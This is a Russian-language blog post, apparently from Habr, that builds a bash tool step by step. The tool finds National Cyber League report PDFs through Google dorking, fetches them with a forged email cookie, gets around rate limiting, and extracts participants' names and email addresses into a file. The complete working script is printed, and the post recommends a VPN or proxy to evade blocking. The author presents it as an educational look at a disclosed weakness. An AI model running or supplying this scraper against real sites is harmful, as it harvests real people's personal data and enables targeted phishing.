![](https://habrastorage.org/getpro/habr/upload_files/eb6/399/97e/eb639997e3d9c5a523c9df12552ddfd3.jpg)
В этой статье я расскажу, как создать хакерское приложение, используя встроенный язык программирования Linux, и собрать базу данных участников западной "Национальной Киберлиги". Можно сказать, хакнем хакеров! ;)
Начнем со ссылки на отчет о соревнованиях Western National Cyber League, а закончим полноценным инструментом автоматизации. По пути рассмотрим основы работы с сURL, научимся обходить базовые ограничения веб-приложений и поработаем с PDF-документами из командной строки.
Статья будет полезна специалистам по информационной безопасности и всем, кто интересуется автоматизацией процессов в Linux.
Недавно мне написала американская коллега из города Эдмонд, штат Оклахома.
После стандартного обмена любезностями типа "Как дела?", "Как погода в Москве?" она поделилась отчетом о своем участии в осенних хакерских соревнованиях за 2023 год. Это была ссылка на портал cyberskyline.com:
При переходе по ссылке вместо того, чтобы показать отчет, сайт запросил адрес моей электронной почты. Конечно, только… создам ее)
![](https://habrastorage.org/getpro/habr/upload_files/f8d/77c/803/f8d77c803d4e815f943ffc5d8a1c9c97.png)
Идем на мой любимый ресурс генерации одноразовой почты и получаем свеженький почтовый ящик. После ввода электронной почты сразу открывается отчет о результатах индивидуальных соревнований "Национальной Киберлиги" за осень 2023 года:
![](https://habrastorage.org/getpro/habr/upload_files/d4c/da1/cd0/d4cda1cd0a9905bdec1b1fe316f3121e.png)
Интересно, что система не просила меня перейти по ссылке и подтвердить валидность адреса. Кроме того, сайт Киберлиги не проверил, что почта относится к существующему домену. Не были проведены даже минимальные проверки почты.
Из этого следует два вывода: можно вводить абракадабру для доступа к отчетам; сайт Киберлиги просто собирает адреса, чтобы потом проводить рекламные рассылки.
Окей, временный ящик защитит нас от спама. Давайте теперь изучим отчет. Помимо результатов тестирования и текста о том, какая Киберлига крутая, мы видим важную для любого хакера информацию — полное имя и фамилию, а также адрес электронной почты.
Хм, очень интересно, а сколько всего таких отчетов существует? В тексте указано число соревнующихся — 7879. Это почти 8 тысяч документов с полным именем и адресом электронной почты участников международных хакерских турниров. Попробуем получить к ним доступ.
![](https://habrastorage.org/getpro/habr/upload_files/656/770/b1f/656770b1f6b55130eab70839189e241e.png)
Проанализируем адрес документа:
В нем есть слово "report" (отчет), а затем идет буквенно-цифровой идентификатор 9LT51V9K786C. Скорее всего (на самом деле так и есть), для доступа к другим отчетам потребуется подобрать аналогичную комбинацию цифр и букв. Это классический IDOR — уязвимость, о которой коллеги уже рассказывали на Хабре.
Рассмотрим возможное количество комбинаций в идентификаторе. В английском алфавите 26 букв, но в системах на базе Linux строчные и прописные буквы считаются разными символами. Это дает нам 52 возможных буквенных символа.
Но нам повезло: в ссылке на наш отчет только прописные буквы. Будем надеяться, что так оно и останется. По-хорошему, чтобы убедиться, нужны дополнительный анализ и энумерация. С цифрами все проще — их всего 10.
Итого мы получаем 26 прописных букв и 10 цифр, что дает нам 36 вариантов для каждой позиции. В идентификаторе 12 символов, поэтому общее количество возможных комбинаций составляет 36^12, или 4 738 381 338 321 616 896. Как бы… немало. А у нас всего около 8 тысяч записей, что составляет примерно 0,00000000000001% от всех возможных комбинаций. Такое число мы в жизни не забрутфорсим.
Мы пойдем другим путем.
Существует более простой способ получения номеров отчетов — через поисковую индексацию Google. Что, если поисковик уже проиндексировал эти отчеты?
Давайте поищем. Используем специальный оператор поиска "site:", который ограничивает результаты конкретным доменом. В поисковую строку вводим запрос "site:cyberskyline.com/report", чтобы Google показывал только страницы, расположенные по этому адресу.
![](https://habrastorage.org/getpro/habr/upload_files/f05/f1b/0c9/f05f1b0c96fe3ef79eb1a37d5bc9c5a2.png)
В результатах поиска сразу обнаруживаются номера отчетов — они появляются уже во второй и третьей строке выдачи, если не считать рекламный блок. Теперь проверим общее количество проиндексированных отчетов в поисковой системе.
![](https://habrastorage.org/getpro/habr/upload_files/b1d/787/874/b1d7878740c59b9851d84c19d852bcfb.png)
На каждой странице отображается по 10 ссылок, что дает нам возможность получить данные 270 пользователей. Ручной сбор этой информации неэффективен и займет много времени.
Главная сила командной строки Linux, которой раньше не хватало Windows CMD, заключается в возможности объединять небольшие приложения в единую цепочку команд — конвейеры. Более того, конвейеры можно объединять между собой, создавая полноценные приложения, такие как LinEnum и AutoSUID. Так что напишем приложение, которое соберет данные за нас.
Шаг 1. Алгоритм и анализ
Даже для небольшого скрипта важно четко представлять последовательность действий.
На первом этапе необходимо реализовать парсинг Google: программа должна открыть поисковую страницу, выполнить запрос, получить результаты, скачать найденные Гуглом файлы и автоматически перейти к следующей странице выдачи для повторения процесса.
После загрузки PDF-файлов программа должна извлечь из каждого документа персональные данные пользователей. В рамках этого примера будем собирать имена и адреса электронной почты. Затем сохраним полученную информацию в отдельный файл.
Здесь я должен предупредить, что подобный парсинг данных российских пользователей может нарушать законодательство о персональных данных. Описанные техники представлены исключительно в образовательных целях. Используйте их правомерно.
Ну что, поехали пункт за пунктом. Для анализа механизма взаимодействия с поисковиком используем BurpSuite — перехватим и изучим трафик поисковых запросов.
![](https://habrastorage.org/getpro/habr/upload_files/aaf/580/e8a/aaf580e8a0f1b0aa62e6172c74f408fb.png)
Отлично, мы нашли верный запрос, но в нем слишком много шума. Почистим его и "причешем". Для этого направим запрос в Repeater и последовательно удалим лишние параметры. Проверим корректность его работы с помощью поискового выражения "url=https://cyberskyline.com/report/", в котором содержится номер отчета.
![](https://habrastorage.org/getpro/habr/upload_files/25f/3da/8fc/25f3da8fcc03b9ac8da19b9323b2a388.png)
Упростили запрос до минимума, оставив только необходимые параметры: GET-запрос, Host и User-Agent. Теперь нужно разобраться с переходом на следующие страницы поисковой выдачи. Для этого откроем вторую страницу поисковика через браузер и проанализируем изменения в перехваченном трафике через BurpSuite.
![](https://habrastorage.org/getpro/habr/upload_files/9f7/390/29d/9f739029daa28bf2c6a8d15c1bfc9fce.png)
В перехваченном запросе появился дополнительный параметр — start=10. Он определяет начальную позицию вывода результатов: значения 0–9 соответствуют первой странице, 10–19 — второй странице и так далее.
![](https://habrastorage.org/getpro/habr/upload_files/8fa/0e4/73c/8fa0e473cf37c7dd96504e093fe94539.png)
Проверим это предположение, отправив запрос с новым параметром через Repeater: выводные значения меняются, значит, мы все делаем правильно. Теперь сделаем все то же самое, только через командную строку.
Шаг 2. Парсим Google
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
![](https://habrastorage.org/getpro/habr/upload_files/678/757/107/678757107fe321d1465df5469f2d7d0d.png)
Запрос работает корректно. Теперь перейдем к следующему этапу: отфильтруем ответ сервера, чтобы получить только строки с адресами отчетов. Для этого воспользуемся утилитой grep.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "url=https://cyberskyline.com/report/" -o
![](https://habrastorage.org/getpro/habr/upload_files/eaf/f50/336/eaff50336dad3f9046e0ae0aa3c6f1c1.png)
Почти сработало, но мы так и не получили последние 12 символов после "report". Здесь не обойтись без регулярного выражения. Давай напишем наш grep следующим образом:
grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}"
Как можно понять из "регулярки", мы выбираем символы от A до Z в количестве 12 штук. Также уберем "url=" чтобы получить более верный вывод.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o
![](https://habrastorage.org/getpro/habr/upload_files/009/79c/72a/00979c72a0295a996a986f1c5b48bdd7.png)
Теперь возникает дублирование результатов в выводе, но эту проблему легко решить добавлением команды uniq
в конец нашего конвейера.
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=20"
| grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o | uniq
![](https://habrastorage.org/getpro/habr/upload_files/8b6/f9e/f0e/8b6f9ef0e5a12da6378359ac29ea49e2.png)
В результате мы получили список уникальных ссылок на отчеты. В выводе видим 18 ссылок с учетом дубликатов, но их можно убрать с помощью сортировки и удаления повторов командами sort -u
и uniq
. А пока проверим работоспособность последней ссылки.
![](https://habrastorage.org/getpro/habr/upload_files/a4c/7cb/dbd/a4c7cbdbdd46843a0898b8ca2fc109f5.png)
И все прекрасно работает. В финальной версии приложения будем последовательно изменять значение параметра start (0, 10, 20, 30 и так далее) для перебора всех доступных страниц поисковой выдачи Google.
Этап 3. Качаем отчеты
Переходим к этапу загрузки отчетов. После реализации парсинга эта задача не должна вызвать затруднений. Для скачивания файлов у нас есть два варианта: curl
или wget
. Для разнообразия будем использовать wget
.
wget https://cyberskyline.com/report/B2L7UK1KQJ2B
![](https://habrastorage.org/getpro/habr/upload_files/1ac/a47/76c/1aca4776c5d368a3e561b9cf6365cf25.png)
Отлично, наш отчет успешно скачан, и мы можем его посмотреть... или нет?
![](https://habrastorage.org/getpro/habr/upload_files/835/27f/219/83527f2199d4683bc9ccd3aa73769f75.png)
При открытии ссылки в браузере отчет отображается корректно, но при скачивании через командную строку получаем пустой документ.
Помните, что при первом обращении к отчету сайт запрашивал электронную почту? Еще раз проанализируем запрос на получение отчета через BurpSuite.
![](https://habrastorage.org/getpro/habr/upload_files/db9/15d/280/db915d2803e7bfa689ec34375b19588e.png)
Вот и почта, которую мы вводили в самом начале статьи. В cookies она представлена как параметр sky.verifyEmail со значением "loxomeb677@rogtat.com". Добавим этот параметр в wget-запрос. Иногда здесь нужно указывать User-Agent. Так многие приложения защищаются от автоматизированных запросов, но в данном случае можно обойтись без него.
wget --header "Cookie: sky.verifyEmail=loxomeb677@rogtat.com"
https://cyberskyline.com/report/B2L7UK1KQJ2B
![](https://habrastorage.org/getpro/habr/upload_files/e44/6d0/b2f/e446d0b2f8d6bdd78cc4a93b2951cd27.png)
Отлично, теперь в ответе мы можем видеть, что был скачан именно PDF-документ. Переходим на рабочий стол, где видим файл B2L7UK1KQJ2B.1. Файл корректно открывается и содержит нужную информацию.
Шаг 4. Парсим PDF
Теперь предстоит извлечь информацию из PDF-файла. Казалось бы, это не скан, и работать с текстом должно быть просто, но это только на первый взгляд. Поскольку документ создан программно, попробуем проанализировать исходный код PDF.
![](https://habrastorage.org/getpro/habr/upload_files/602/92d/97d/60292d97dcffb71d90df84dd200bbf8c.png)
Поиск электронной почты в исходном коде PDF не дал результатов. Поищем альтернативное решение: обратимся к Google. Среди первых результатов находим релевантный ответ на SuperUser.com.
![](https://habrastorage.org/getpro/habr/upload_files/48c/437/3d9/48c4373d95c11b5ed8712be99a669a64.png)
Изучив ответы, обнаруживаем подходящий инструмент — терминальную программу pdftotext. Приступаем к тестированию этого решения.
![](https://habrastorage.org/getpro/habr/upload_files/6e0/63c/bed/6e063cbeda8fd9dd14fd18b2756052e1.png)
Указанное приложение у меня не установлено. Но умный Линукс подсказывает, как его скачать:
sudo apt install poppler-utils
Почитав мануал к приложению, определяем правильный синтаксис команды для извлечения текста:
pdftotext [options] <PDF-file> [<text-file>]
Попробуем сконвертировать PDF в текст и потом прочитать первые 10 строчек файла:
pdftotext B2L7UK1KQJ2B.1 pdfintotext.txt; head pdfintotext.txt
![](https://habrastorage.org/getpro/habr/upload_files/38c/8c7/64c/38c8c764caeb91fb496f6840cf02bd3c.png)
Работает! Имя киберспортсмена находится на третьей строке в выводе, а его электронная почта — на седьмой.
Для извлечения этих данных используем утилиту awk с командой 'NR==3 || NR==7'
, которая выведет только содержимое третьей и седьмой строк. Команда 'NR==3 {printf "%s | ", $0} NR==7 {print $0}'
выведет 3 и 7 строку в одну строку, разделенную вертикальной чертой (|). Ну и наконец, добавление двойных правых скобок перенаправит вывод в текстовый файл, который мы потом прочитаем.
![](https://habrastorage.org/getpro/habr/upload_files/bd1/1a7/aa4/bd11a7aa4823ba35732d068ec6c95aa1.png)
Осталась самая малость — объединить все наши отдельные скрипты в один большой файл.
Шаг 5. Объединяем части в одно приложение
Подходим к завершающему этапу — объединению всех компонентов в рабочее решение. Согласно разработанному алгоритму, сначала загружаем PDF-файлы, затем обрабатываем их. Для демонстрации концепции ограничимся анализом первых трех страниц поисковой выдачи. Создаем на рабочем столе папку PDFParser для хранения файлов и запускаем mousepad для написания скрипта.
Создадим цикл от 0 до 20 с шагом в 10. Таким образом получим три значения: 0, 10 и 20, которые подставим в парсер поисковика. Цикл будет выглядеть следующим образом:
for start in `seq 0 10 20`; do ...; done
Где 0 — начало отсчета включительно; 10 — шаг каждого цикла; 20 — конец отсчета включительно.
Подставим формулу парсинга в цикл и запустим код. Не забудьте заменить цифру в адресной строке на переменную $start
. Код будет выглядеть таким образом:
#!/bin/bash
for start in `seq 0 10 20`;
do curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0)
Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" | grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq
done
Запускаем файл стандартной командой bash pdfparser.sh
:
![](https://habrastorage.org/getpro/habr/upload_files/a71/23e/46b/a7123e46b024e9929d4d2aed801dbb77.png)
Отлично, все работает как задумано. Теперь нужно сохранить полученные ссылки для дальнейшей работы. Есть два варианта: временно хранить их в переменной (в оперативной памяти) или сохранить в файл на диск. Для учебных целей выберем второй вариант. Добавим в конце команды >> links.txt,
чтобы перенаправить вывод в файл.
![](https://habrastorage.org/getpro/habr/upload_files/f4b/d77/2e7/f4bd772e7f0bd4a83c378bfc42045ad4.png)
Мы записали ссылки в файл, убедились в его создании командой ls
и проверили содержимое через cat links.txt. Теперь можем работать с полученными ссылками. Чтобы избежать блокировки со стороны Google (компания зарабатывает на API и ограничивает бесплатный парсинг), закомментируем строку с парсингом и продолжим работу с уже имеющимся файлом ссылок.
Теперь создадим цикл для чтения файла, где каждая строка станет переменной для скачивания файла.
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677@rogtat.com" $link
done
Вставляем, запускаем, проверяем.
![](https://habrastorage.org/getpro/habr/upload_files/dbe/05d/855/dbe05d855596ec164233d2453e568f10.png)
Хорошая новость — мы скачали часть файлов. Плохая — только 12 из 27. Почему так произошло? В ответе сервера видим: HTTP request sent, awaiting response... 429 Too Many Requests.
На сайте работает защитный механизм — Web application firewall, который блокирует множественные и частые соединения. Вероятно, система отслеживает подключения по IP-адресу или email из cookies.
Попробуем изменить email — это самый быстрый способ обойти блокировку. Если не поможет, придется добавлять временную задержку между запросами, но это существенно замедлит выполнение скрипта. Для начала добавим в конец адреса случайно сгенерированное число.
![](https://habrastorage.org/getpro/habr/upload_files/b24/56b/349/b2456b34984230887161736ffd8443ec.png)
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link
done
Изменение email не помогло — удалось скачать только 5 файлов из 27, так что добавим задержку между запросами в 3 секунды с помощью команды sleep.
Также используем параметр wget -t (--tries)
, чтобы ограничить количество попыток скачивания до трех. Если установить его на 0, wget
будет пытаться скачивать файл бесконечно. В нашем случае это избыточно.
Обновим код, добавив эти параметры. Для лучшего результата рекомендуется включить VPN или прокси — это позволит сменить IP-адрес и обойти ограничения со стороны сервера.
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com"
$link
sleep 3
done
![](https://habrastorage.org/getpro/habr/upload_files/e24/c26/e30/e24c26e30aa528540181d8f5133461bf.png)
Отлично, мы скачали большую часть файлов — 22 из 27. Этого достаточно для текущих целей. Чтобы добиться большего, нужно увеличить интервал между запросами и количество попыток скачивания.
Теперь осталось извлечь информацию из скачанных PDF-файлов. Для этого используем цикл с командой ls
— встроенным средством Linux для листинга файлов. Внутрь цикла поместим ранее подготовленный скрипт извлечения текста из PDF:
for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}'
pdfintotext.txt >> database.txt
done
![](https://habrastorage.org/getpro/habr/upload_files/415/0f6/ad7/4150f6ad77b4c13cda4e49edc558454a.png)
Запустим получившийся скрипт.
![](https://habrastorage.org/getpro/habr/upload_files/24d/b2a/2db/24db2a2db1b24da918c5f9ae642df497.png)
Скрипт показал синтаксическую ошибку: May not be a PDF file (continuing anyway) — возможно, файл не является PDF-форматом (обработка продолжается). Действительно, помимо PDF-файлов в папке находятся файл links.txt со ссылками и сам скрипт pdfparser.sh.
Проверим, был ли создан файл database.txt и если да, прочитаем его содержимое.
![](https://habrastorage.org/getpro/habr/upload_files/9d6/fd4/fa5/9d6fd4fa5482e8e1e04492531b032c16.png)
Отлично, мы создали файл и заполнили его анкетными данными киберспортсменов и его email-адресами. Однако в шестой строке содержится какой-то другой текст, не похожий на персональные данные.
![](https://habrastorage.org/getpro/habr/upload_files/4ed/81d/0cc/4ed81d0cca9462296916279a6bf91d7f.png)
Верно, этот файл оказался отчетом о киберсоревнованиях 2019 года, а не целевым документом 2023 года, и имеет другой формат. Скрипт отработал корректно. Осталось добавить комментарии для пояснений и отформатировать код для удобства чтения, после чего можно запускать готовую программу.
![](https://habrastorage.org/getpro/habr/upload_files/415/7eb/bbd/4157ebbbdf6188d3984b3a52f897077a.png)
Сам скрипт в текстовом виде:
#!/bin/bash
echo ":::: ::: :::::::: ::: ::: :::::::::: ::: ::: ::: ::: :::::::: ::::::::::
:+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
:+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +#+ +#+ +#++:++# +#++:++#++: +#++:++ +#++:++#++: :#: +#++:++#
+#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+# +#+
#+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
### #### ######## ########## ########## ########## ### ### ### ### ### ### ######## ########## "
echo -e "\nStart Google parsing..."
for start in `seq 0 10 20`;
do
curl -s -A "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
"https://www.google.com/search?q=site:cyberskyline.com/report/&start=$start" |
grep -i "https://cyberskyline\.com/report/[A-Z0-9]\{12\}" -o |
sort -u | uniq >> links.txt
done
numberoflines=`wc -l links.txt | cut -d " " -f 1`
echo "Google parsing is done! We got $numberoflines links"
echo -e "\nStart downloading reports..."
for link in $(cat links.txt)
do
wget --header "Cookie: sky.verifyEmail=loxomeb677$(rand)@rogtat.com" -t 3 $link
sleep 3
done
echo "Downloading is done!"
echo -e "\nStart extracting personal data from PDFs..."
for pdffile in $(ls -1);
do
pdftotext $pdffile pdfintotext.txt && awk 'NR==3 {printf "%s | ", $0} NR==7 {print $0}' pdfintotext.txt >> database.txt
done
echo "Extracting is done! Enjoy"
Скрипт успешно извлек данные участников Киберлиги. Можно ли считать это утечкой? Безусловно — такая информация открывает широкие возможности для целевого фишинга. Злоумышленники могут создавать убедительные письма, используя полные имена пользователей, их рейтинг на платформе, достижения и другие детали из отчета. Отсутствие валидации email-адресов, недостаточная защита от автоматизированного сбора данных создали серьезные риски для пользователей платформы.
Что ж, коллегу я удивил, а вот организаторы Киберлиги, кажется, не впечатлились. Я связался с администрацией платформы. Они подтвердили получение информации и обещали провести проверку, но даже спустя месяц проблема остается нерешенной.
Однако я надеюсь, что этот небольшой эксперимент помог вам глубже понять принципы работы с командной строкой Linux и продемонстрировал, как можно находить неочевидные возможности в исследованиях информационной безопасности.
Хотите узнавать о свежих уязвимостях раньше, чем о них напишут в новостях? Подписывайтесь на Telegram-канал HydrAttack, чтобы первыми получать актуальную ИБ-статистику и инсайды из мира кибербеза!